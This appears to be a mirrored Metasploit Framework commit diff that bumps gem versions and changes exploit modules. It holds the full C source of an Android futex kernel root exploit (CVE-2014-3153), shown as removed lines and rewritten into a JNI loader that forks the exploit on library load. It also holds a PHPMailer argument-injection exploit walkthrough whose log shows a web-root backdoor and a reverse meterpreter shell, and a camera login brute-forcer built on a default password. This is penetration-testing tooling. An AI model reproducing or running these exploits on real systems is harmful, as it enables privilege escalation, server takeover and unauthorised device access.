1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Merge master to cisco_cve_2016_6433 and make sure I have the latest

This commit is contained in:
wchen-r7 2017-01-11 14:39:52 -06:00
commit abab1f17c9
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
44 changed files with 2197 additions and 1001 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.13.11)
metasploit-framework (4.13.14)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -16,7 +16,7 @@ PATH
metasploit-model
metasploit-payloads (= 1.2.6)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.4)
metasploit_payloads-mettle (= 0.1.6)
msgpack
nessus_rest
net-ssh
@ -180,7 +180,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.1.4)
metasploit_payloads-mettle (0.1.6)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
@ -192,7 +192,7 @@ GEM
multi_test (0.1.2)
multipart-post (2.0.0)
nessus_rest (0.1.6)
net-ssh (4.0.0)
net-ssh (4.0.1)
network_interface (0.0.1)
nokogiri (1.7.0.1)
mini_portile2 (~> 2.1.0)
@ -273,7 +273,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.2)
rex-socket (0.1.3)
rex-core
rex-sslscan (0.1.1)
rex-socket
@ -326,7 +326,7 @@ GEM
windows_error (0.0.2)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.9.5)
yard (0.9.7)
PLATFORMS
ruby

Binary file not shown.

BIN
data/exploits/CVE-2014-3153.so Executable file

Binary file not shown.

View File

@ -0,0 +1,28 @@
This module allows you to log into an BAVision IP Camera's web server.
The instructions shipped with the camera do not mention clearly regarding the existence of the
lighttpd web server, and it uses admin:123456 as the default credential. Even if the default
password is changed, the account could also be bruteforced since there is no policy for lockouts.
## Vulnerable Application
The web server is built into the IP camera. Specifically, this camera was tested during development:
"BAVISION 1080P HD Wifi Wireless IP Camera Home Security Baby Monitor Spy Pet/Dog Cameras Video Monitoring Plug/Play,Pan/Tilt With Two-Way Audio and Night Vision"
http://goo.gl/pHAqS1
## Verification Steps
1. Read the instructions that come with the IP camera to set it up
2. Find the IP of the camera (in lab, your router should have info about this)
3. Do: ```use auxiliary/scanner/http/bavision_cam_login```
4. Set usernames and passwords
5. Do: ```run```
## Options
**TRYDEFAULT**
The ```TRYDEFAULT``` options adds the default credential admin:123456 to the credential list.

View File

@ -0,0 +1,79 @@
## Vulnerable Application
PHPMailer versions up to and including [5.2.20](https://github.com/PHPMailer/PHPMailer/archive/v5.2.20.tar.gz) are affected by a vulnerability which can be leveraged by an attacker to
write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed
to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an
HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful
exploitation can take a few minutes.
[5.1.18](https://github.com/PHPMailer/PHPMailer/archive/v5.2.18.tar.gz) is also targetted.
## Verification Steps
1. Install a vulnerable PHPMailer
2. Start msfconsole
3. `use exploit/multi/http/phpmailer_arg_injection`
4. Set the TARGETURI and WEB_ROOT options as applicable
5. `exploit`
6. Verify the module yields a PHP meterpreter session in < 5 minutes
7. Verify the malicious PHP file was automatically removed
## Scenarios
Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768)
```
msf (S:0 J:0) exploit(php_mailer) > options
Module options (exploit/linux/http/php_mailer):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.90.134 yes The target address
RPORT 8080 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the application root
TRIGGERURI no Path to the uploaded payload
VHOST no HTTP server virtual host
WEB_ROOT /www yes Path to the web root
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.90.134 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf (S:0 J:0) exploit(php_mailer) > rexploit
[*] Reloading module...
[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444
[*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php
[*] [2016.12.29-17:04:07] Sleeping before requesting the written file
[*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload
[+] [2016.12.29-17:04:48] Successfully found the payload
[*] [2016.12.29-17:05:50] Sending stage (34122 bytes) to 172.17.0.2
[*] Meterpreter session 4 opened (192.168.90.134:4444 -> 172.17.0.2:47280) at 2016-12-29 17:05:50 -0500
[+] [2016.12.29-17:05:50] Deleted /www/0IxI5AFB.php
[+] [2016.12.29-17:06:10] Successfully triggered the payload
meterpreter > sysinfo
Computer : 90f0c8e8dbe4
OS : Linux 90f0c8e8dbe4 4.8.15-200.fc24.x86_64 #1 SMP Thu Dec 15 23:09:22 UTC 2016 x86_64
Meterpreter : php/linux
meterpreter >
```

View File

@ -3,8 +3,19 @@ LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := exploit
LOCAL_SRC_FILES := exploit.c
LOCAL_CFLAGS := -fno-stack-protector -O0
LOCAL_MODULE := debugexploit
LOCAL_SRC_FILES := futex_requeue.c main.c
LOCAL_LDFLAGS += -llog
LOCAL_CFLAGS += -DDEBUG
LOCAL_CFLAGS += -fno-stack-protector -O0
include $(BUILD_EXECUTABLE)
include $(CLEAR_VARS)
LOCAL_CFLAGS += -fno-stack-protector -O0
LOCAL_MODULE := exploit
LOCAL_SRC_FILES := futex_requeue.c main.c
include $(BUILD_SHARED_LIBRARY)

View File

@ -2,14 +2,16 @@
all: install
build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi
install: build
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2014-3153.so
test: build
adb push libs/armeabi/exploit /data/local/tmp/exploit
adb shell "cd /data/local/tmp; ./exploit id"
push: build
adb push libs/armeabi/debugexploit /data/local/tmp/futex
run: push
adb shell "/data/local/tmp/futex"
clean:
rm -rf libs

View File

@ -1,834 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
#define KERNEL_START 0xc0000000
#define LOCAL_PORT 5551
struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;
struct thread_info {
unsigned long flags;
int preempt_count;
unsigned long addr_limit;
struct task_struct *task;
/* ... */
};
struct kernel_cap_struct {
unsigned long cap[2];
};
struct cred {
unsigned long usage;
uid_t uid;
gid_t gid;
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t fsuid;
gid_t fsgid;
unsigned long securebits;
struct kernel_cap_struct cap_inheritable;
struct kernel_cap_struct cap_permitted;
struct kernel_cap_struct cap_effective;
struct kernel_cap_struct cap_bset;
unsigned char jit_keyring;
void *thread_keyring;
void *request_key_auth;
void *tgcred;
struct task_security_struct *security;
/* ... */
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct task_security_struct {
unsigned long osid;
unsigned long sid;
unsigned long exec_sid;
unsigned long create_sid;
unsigned long keycreate_sid;
unsigned long sockcreate_sid;
};
struct task_struct_partial {
struct list_head cpu_timers[3];
struct cred *real_cred;
struct cred *cred;
struct cred *replacement_session_keyring;
char comm[16];
};
struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};
//bss
int uaddr1 = 0;
int uaddr2 = 0;
struct thread_info *HACKS_final_stack_base = NULL;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_cond_t done;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
volatile int do_socket_tid_read = 0;
volatile int did_socket_tid_read = 0;
volatile int do_splice_tid_read = 0;
volatile int did_splice_tid_read = 0;
volatile int do_dm_tid_read = 0;
volatile int did_dm_tid_read = 0;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int HACKS_fdm = 0;
unsigned long MAGIC = 0;
unsigned long MAGIC_ALT = 0;
pthread_mutex_t *is_kernel_writing;
pid_t last_tid = 0;
int g_argc;
char rootcmd[2048] = "";
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
len = write(pipefd[1], writebuf, count);
if (len != count) {
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
while (1) {
sleep(10);
}
}
read(pipefd[0], readbuf, count);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
write(pipefd[1], writebuf, count);
len = read(pipefd[0], readbuf, count);
if (len != count) {
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
while (1) {
sleep(10);
}
}
close(pipefd[0]);
close(pipefd[1]);
return len;
}
void write_kernel(int signum)
{
struct thread_info stackbuf;
unsigned long taskbuf[0x100];
struct cred *cred;
struct cred credbuf;
struct task_security_struct *security;
struct task_security_struct securitybuf;
pid_t pid;
int i;
int ret;
FILE *fp;
pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
if (HACKS_final_stack_base == NULL) {
static unsigned long new_addr_limit = 0xffffffff;
char *slavename;
int pipefd[2];
char readbuf[0x100];
printf("cpid1 resumed\n");
pthread_mutex_lock(is_kernel_writing);
HACKS_fdm = open("/dev/ptmx", O_RDWR);
unlockpt(HACKS_fdm);
slavename = ptsname(HACKS_fdm);
open(slavename, O_RDWR);
do_splice_tid_read = 1;
while (1) {
if (did_splice_tid_read != 0) {
break;
}
}
read(HACKS_fdm, readbuf, sizeof readbuf);
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
pthread_mutex_unlock(is_kernel_writing);
while (1) {
sleep(10);
}
}
printf("cpid3 resumed.\n");
pthread_mutex_lock(is_kernel_writing);
printf("hack.\n");
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
cred = NULL;
security = NULL;
pid = 0;
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
struct task_struct_partial *task = (void *)&taskbuf[i];
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred) {
cred = task->cred;
break;
}
}
read_pipe(cred, &credbuf, sizeof credbuf);
security = credbuf.security;
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
read_pipe(security, &securitybuf, sizeof securitybuf);
if (securitybuf.osid != 0
&& securitybuf.sid != 0
&& securitybuf.exec_sid == 0
&& securitybuf.create_sid == 0
&& securitybuf.keycreate_sid == 0
&& securitybuf.sockcreate_sid == 0) {
securitybuf.osid = 1;
securitybuf.sid = 1;
printf("task_security_struct: %p\n", security);
write_pipe(security, &securitybuf, sizeof securitybuf);
}
}
credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
write_pipe(cred, &credbuf, sizeof credbuf);
pid = syscall(__NR_gettid);
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
static unsigned long write_value = 1;
if (taskbuf[i] == pid) {
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
if (getuid() != 0) {
printf("ROOT FAILED\n");
while (1) {
sleep(10);
}
} else { //rooted
break;
}
}
}
sleep(1);
if (g_argc >= 2) {
system(rootcmd);
} else {
system("/system/bin/sh -i");
}
system("/system/bin/touch /dev/rooted");
pid = fork();
if (pid == 0) {
while (1) {
ret = access("/dev/rooted", F_OK);
if (ret >= 0) {
break;
}
}
printf("wait 10 seconds...\n");
sleep(10);
printf("rebooting...\n");
sleep(1);
system("reboot");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_cond_signal(&done);
pthread_mutex_unlock(&done_lock);
while (1) {
sleep(10);
}
return;
}
void *make_action(void *arg) {
int prio;
struct sigaction act;
int ret;
prio = (int)arg;
last_tid = syscall(__NR_gettid);
pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);
act.sa_handler = write_kernel;
act.sa_mask = 0;
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(12, &act, NULL);
setpriority(PRIO_PROCESS, 0, prio);
pthread_mutex_unlock(&is_thread_desched_lock);
do_dm_tid_read = 1;
while (did_dm_tid_read == 0) {
;
}
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
printf("futex dm: %d\n", ret);
while (1) {
sleep(10);
}
return NULL;
}
pid_t wake_actionthread(int prio) {
pthread_t th4;
pid_t pid;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
do_dm_tid_read = 0;
did_dm_tid_read = 0;
pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, make_action, (void *)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
pid = last_tid;
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
while (do_dm_tid_read == 0) {
usleep(10);
}
did_dm_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
pthread_mutex_unlock(&is_thread_desched_lock);
return pid;
}
int make_socket() {
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed.\n");
usleep(10);
} else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (1) {
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
if (ret >= 0) {
break;
}
usleep(10);
}
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
void *send_magicmsg(void *arg) {
int sockfd;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
int ret;
waiter_thread_tid = syscall(__NR_gettid);
setpriority(PRIO_PROCESS, 0, 12);
sockfd = make_socket();
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
databuf[i] = MAGIC;
}
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = 0x10;
}
msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
do_socket_tid_read = 1;
while (1) {
if (did_socket_tid_read != 0) {
break;
}
}
ret = 0;
while (1) {
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
if (ret <= 0) {
break;
}
}
if (ret < 0) {
perror("SOCKSHIT");
}
printf("EXIT WTF\n");
while (1) {
sleep(10);
}
return NULL;
}
static inline setup_exploit(unsigned long mem)
{
*((unsigned long *)(mem - 0x04)) = 0x81;
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
*((unsigned long *)(mem + 0x1c)) = 0x85;
*((unsigned long *)(mem + 0x24)) = mem;
*((unsigned long *)(mem + 0x2c)) = mem + 8;
}
void *search_goodnum(void *arg) {
int ret;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
unsigned long magicval;
pid_t pid;
unsigned long goodval, goodval2;
unsigned long addr, setaddr;
int i;
char buf[0x1000];
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
while (1) {
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
if (ret == 1) {
break;
}
usleep(10);
}
wake_actionthread(6);
wake_actionthread(7);
uaddr2 = 0;
do_socket_tid_read = 0;
did_socket_tid_read = 0;
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
while (1) {
if (do_socket_tid_read != 0) {
break;
}
}
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_socket_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
printf("starting the dangerous things\n");
setup_exploit(MAGIC_ALT);
setup_exploit(MAGIC);
magicval = *((unsigned long *)MAGIC);
wake_actionthread(11);
if (*((unsigned long *)MAGIC) == magicval) {
printf("using MAGIC_ALT.\n");
MAGIC = MAGIC_ALT;
}
while (1) {
is_kernel_writing = (pthread_mutex_t *)malloc(4);
pthread_mutex_init(is_kernel_writing, NULL);
setup_exploit(MAGIC);
pid = wake_actionthread(11);
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
printf("%p is a good number\n", (void *)goodval);
do_splice_tid_read = 0;
did_splice_tid_read = 0;
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
while (1) {
if (do_splice_tid_read != 0) {
break;
}
usleep(10);
}
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_splice_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 != vcscnt + 1) {
break;
}
usleep(10);
}
goodval2 = 0;
setup_exploit(MAGIC);
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
wake_actionthread(12);
goodval2 = *((unsigned long *)(MAGIC + 0x24));
printf("%p is also a good number.\n", (void *)goodval2);
for (i = 0; i < 9; i++) {
setup_exploit(MAGIC);
pid = wake_actionthread(10);
if (*((unsigned long *)MAGIC) < goodval2) {
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
printf("GOING\n");
write(HACKS_fdm, buf, sizeof buf);
while (1) {
sleep(10);
}
}
}
}
return NULL;
}
void *accept_socket(void *arg) {
int sockfd;
int yes;
struct sockaddr_in addr = {0};
int ret;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
yes = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
listen(sockfd, 1);
while(1) {
ret = accept(sockfd, NULL, NULL);
if (ret < 0) {
printf("**** SOCK_PROC failed ****\n");
while(1) {
sleep(10);
}
} else {
printf("i have a client like hookers.\n");
}
}
return NULL;
}
void init_exploit() {
unsigned long addr;
pthread_t th1, th2, th3;
printf("running with pid %d\n", getpid());
pthread_create(&th1, NULL, accept_socket, NULL);
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC = addr;
if ((long)addr >= 0) {
printf("first mmap failed?\n");
while (1) {
sleep(10);
}
}
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC_ALT = addr;
if (addr > 0x110000) {
printf("second mmap failed?\n");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_create(&th2, NULL, search_goodnum, NULL);
pthread_create(&th3, NULL, send_magicmsg, NULL);
pthread_cond_wait(&done, &done_lock);
}
int main(int argc, char **argv) {
g_argc = argc;
if (argc >= 2) {
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
int i;
for (i=1;i<argc;i++) {
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
}
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
}
init_exploit();
printf("Finished, looping.\n");
while (1) {
sleep(10);
}
return 0;
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,11 @@
//#define DEBUG
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
#define LOGD(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
#else
#define LOGV(...)
#define LOGD(...)
#endif

View File

@ -0,0 +1,63 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <jni.h>
#include "log.h"
extern int waiter_exploit();
extern int config_new_samsung;
extern int config_iovstack;
extern int config_offset;
extern int config_force_remove;
void init_exploit() {
LOGV("[+] <main> parent pid = %d", getpid());
int retval = waiter_exploit();
LOGV("Exploit result %d\n", retval);
}
int main(int argc, char **argv) {
if (argc > 4) {
config_new_samsung = atoi(argv[1]);
config_iovstack = atoi(argv[2]);
config_offset = atoi(argv[3]);
config_force_remove = atoi(argv[4]);
}
init_exploit();
exit(EXIT_SUCCESS);
}
JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
{
JNIEnv *env;
LOGV("onload, uid=%d\n", getuid());
if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
{
return -1;
}
int pid = fork();
if (pid == 0) {
init_exploit();
}
return JNI_VERSION_1_4;
}
JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
{
}

View File

@ -46,7 +46,7 @@ Feature: Help command
------- -----------
advanced Displays advanced options for one or more modules
back Move back from the current context
edit Edit the current module with $VISUAL or $EDITOR
edit Edit the current module with the preferred editor
info Displays information about one or more modules
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules

View File

@ -0,0 +1,119 @@
require 'metasploit/framework/login_scanner/http'
require 'digest'
module Metasploit
module Framework
module LoginScanner
class BavisionCameras < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
# Checks if the target is BAVision Camera's web server. The login module should call this.
#
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
def check_setup
login_uri = normalize_uri("#{uri}")
res = send_request({'uri'=> login_uri})
if res && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/)
return true
end
false
end
# Auth to the server using digest auth
def try_digest_auth(cred)
login_uri = normalize_uri("#{uri}")
res = send_request({
'uri' => login_uri,
'credential' => cred,
'DigestAuthIIS' => false,
'headers' => {'Accept'=> '*/*'}
})
digest = digest_auth(cred.public, cred.private, res.headers)
res = send_request({
'uri' => login_uri,
'headers' => {
'Authorization' => digest
}})
if res && res.code == 200 && res.body =~ /hy\-cgi\/user\.cgi/
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body}
end
{:status => LOGIN_STATUS::INCORRECT, :proof => res.body}
end
# The Rex HTTP Digest auth is making the camera server to refuse to respond for some reason.
# The API also fails to generate the CNONCE parameter (bug), which makes it unsuitable for
# our needs, therefore we have our own implementation of digest auth.
def digest_auth(user, password, response)
nonce_count = 1
cnonce = Digest::MD5.hexdigest("%x" % (Time.now.to_i + rand(65535)))
response['www-authenticate'] =~ /^(\w+) (.*)/
params = {}
$2.gsub(/(\w+)="(.*?)"/) { params[$1] = $2 }
a_1 = "#{user}:#{params['realm']}:#{password}"
a_2 = "GET:#{uri}"
request_digest = ''
request_digest << Digest::MD5.hexdigest(a_1)
request_digest << ':' << params['nonce']
request_digest << ':' << ('%08x' % nonce_count)
request_digest << ':' << cnonce
request_digest << ':' << params['qop']
request_digest << ':' << Digest::MD5.hexdigest(a_2)
header = []
header << "Digest username=\"#{user}\""
header << "realm=\"#{params['realm']}\""
header << "qop=#{params['qop']}"
header << "uri=\"/\""
header << "nonce=\"#{params['nonce']}\""
header << "nc=#{'%08x' % nonce_count}"
header << "cnonce=\"#{cnonce}\""
header << "response=\"#{Digest::MD5.hexdigest(request_digest)}\""
header * ', '
end
# Attempts to login to the camera. This is called first.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(try_digest_auth(credential))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.13.11"
VERSION = "4.13.14"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -277,8 +277,23 @@ class Meterpreter < Rex::Post::Meterpreter::Client
#
# Explicitly runs a command in the meterpreter console.
#
def run_cmd(cmd)
console.run_single(cmd)
def run_cmd(cmd,output_object=nil)
stored_output_state = nil
# If the user supplied an Output IO object, then we tell
# the console to use that, while saving it's previous output/
if output_object
stored_output_state = console.output
console.send(:output=, output_object)
end
success = console.run_single(cmd)
# If we stored the previous output object of the channel
# we restore it here to put everything back the way we found it
# We re-use the conditional above, because we expect in many cases for
# the stored state to actually be nil here.
if output_object
console.send(:output=,stored_output_state)
end
success
end
#

View File

@ -43,16 +43,41 @@ module Auxiliary::UDPScanner
datastore['BATCHSIZE'].to_i
end
def udp_sock(ip, port)
@udp_socks_mutex.synchronize do
key = "#{ip}:#{port}"
unless @udp_socks.key?(key)
@udp_socks[key] =
Rex::Socket::Udp.create({
